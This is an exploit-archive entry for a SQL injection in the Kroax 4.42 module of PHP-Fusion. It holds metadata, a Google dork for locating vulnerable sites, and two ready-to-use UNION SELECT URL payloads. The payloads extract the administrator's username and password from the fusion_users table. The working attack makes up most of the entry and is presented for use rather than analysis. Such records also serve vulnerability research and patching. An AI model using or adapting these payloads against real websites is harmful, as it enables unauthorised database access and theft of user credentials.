PHP-Fusion Mod Kroax 4.42 - 'category' SQL Injection

Author: boom3rang
type: webapps
platform: php
port: 
date_added: 2008-06-25 
date_updated: 2016-12-09 
verified: 1 
codes: OSVDB-50131;CVE-2008-5196 
tags: 
aliases:  
screenshot_url:  
application_url: 

==========================================================
The kroax php_fusion Remote SQL-injection.
==========================================================

##################################
Author     :  boom3rang
Contact   :  boomerang@knaqu-shqipe.de
webpage  :  www.khg-crew.ws
##################################


--- Remote SQL Injection ---

[+]Google Dork:                               inurl:"kroax.php?category"

--------------
 Exploit
--------------

example:

www.site.com/infusions/the_kroax/kroax.php?category= [SQL]



[+] username:
www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_name,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang


[+] password:
www.xxx-site.com/infusions/the_kroax/kroax.php?category=-9999/**/union/**/all/**/select/**/1,user_password,3,4,5,6/**/from/**/fusion_users/**/where/**/user_id=1--&boom3rang\


ps. To find username use first  "SQL" with table_name  user_name, and for password use second "SQL" with table_name user_password.




==========================================================    Greetz to:  All my Albanian brothers   ==========================================================

# milw0rm.com [2008-06-26]